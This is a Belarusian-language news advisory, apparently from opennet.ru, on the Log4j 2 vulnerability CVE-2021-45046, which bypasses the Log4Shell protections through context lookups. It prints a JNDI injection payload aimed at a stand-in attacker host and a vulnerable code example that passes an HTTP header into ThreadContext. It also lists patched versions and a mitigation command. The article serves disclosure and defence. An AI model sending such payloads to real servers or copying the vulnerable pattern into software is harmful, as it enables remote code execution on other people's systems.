У рэалізацыі падстановак JNDI у бібліятэцы Log4j 2 выяўлена яшчэ адна ўразлівасць (CVE-2021-45046), якая выяўляецца нягледзячы на дададзеныя ў выпуск 2.15 выпраўленні і незалежна ад выкарыстання налады «log4j2.noFormatMsgLookup» для абароны. Праблема ўяўляе небяспеку ў асноўным для старых версій Log4j 2, абароненых пры дапамозе сцяга "noFormatMsgLookup", бо дае магчымасць абыйсці абарону ад мінулай узямасці (Log4Shell, CVE-2021-44228), якая дазваляе выканаць свой код на серверы. Для карыстальнікаў версіі 2.15 эксплуатацыя абмяжоўваецца стварэннем умоў для аварыйнага завяршэння дадатку з-за вычарпання даступных рэсурсаў.
Уразлівасць выяўляецца толькі на сістэмах, у якіх пры часопісаванні выкарыстоўваюцца кантэкстныя запыты (Context Lookup), такія як ${ctx:loginId}, або MDC-шаблоны (Thread Context Map), напрыклад, %X, %mdc і %MDC. Эксплуатацыя зводзіцца да стварэння ўмоў для высновы ў лог дадзеных, утрымоўвальных падстаноўкі JNDI, пры выкарыстанні ў прыкладанні кантэкстных запытаў ці MDC-шаблонаў, вызначальных правілы фарматавання высновы ў лог.
Даследнікі з кампаніі LunaSec адзначылі, што для версій Log4j менш 2.15 дадзеная ўразлівасць можа выкарыстоўвацца як новы вектар для нападу Log4Shell, якая прыводзіць да выканання кода, калі пры выснове ў лог выкарыстоўваюцца выразы ThreadContext, у якія пападаюць вонкавыя дадзеныя, незалежна ад уключэння для абароны сцяга. noMsgFormatLookups» ці шаблон «%m{nolookups}».
Абыход абароны зводзіцца да таго, што замест прамой падстаноўкі "${jndi:ldap://attacker.com/a}", дадзены выраз падстаўляецца праз значэнне прамежкавай зменнай, выкарыстоўванай у правілах фарматавання высновы ў лог. Напрыклад, калі пры выснове ў лог выкарыстоўваецца кантэкстны запыт ${ctx:apiversion}, то напад можа быць праведзена праз падстаноўку дадзеных "${jndi:ldap://attacker.com/a}" у значэнне, якое запісваецца ў зменную apiversion. Прыклад уразлівага кода: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Значэнне HTTP-загалоўка "X-Api-Version" перадаецца ў ThreadContext ThreadContext.put("apiversion", apiVersion ); // Пры вывадзе ў лог знешняе значэнне apiversion будзе апрацавана пры дапамозе падстаноўкі ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
У версіі Log4j 2.15 уразлівасць можа выкарыстоўвацца для здзяйснення DoS-нападаў пры перадачы ў ThreadContext значэнняў, якія прыводзяць да зацыклявання апрацоўкі шаблону фарматавання высновы.
Для блакавання ўразлівасці апублікаваны абнаўленні 2.16 і 2.12.2. У галінцы Log4j 2.16, апроч рэалізаваных у версіі 2.15 выпраўленняў і прывязкі JNDI LDAP-запытаў да "localhost", па змаўчанні цалкам адключаная функцыянальнасць JNDI і выдаленая падтрымка шаблонаў падстаноўкі паведамленняў. У якасці абыходнага шляху абароны прапанавана выдаліць клас JndiLookup з classpath (напрыклад, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Прасачыць за з'яўленнем выпраўленняў у пакетах можна на старонках дыстрыбутываў (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) і вытворцаў Java-платформаў (GitHub, Docker, Oracle, vmWare, Broadcom і Amazon/AWS, Juniper, VMware, Cisco, IBM , Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure і г.д.).
Крыніца: opennet.ru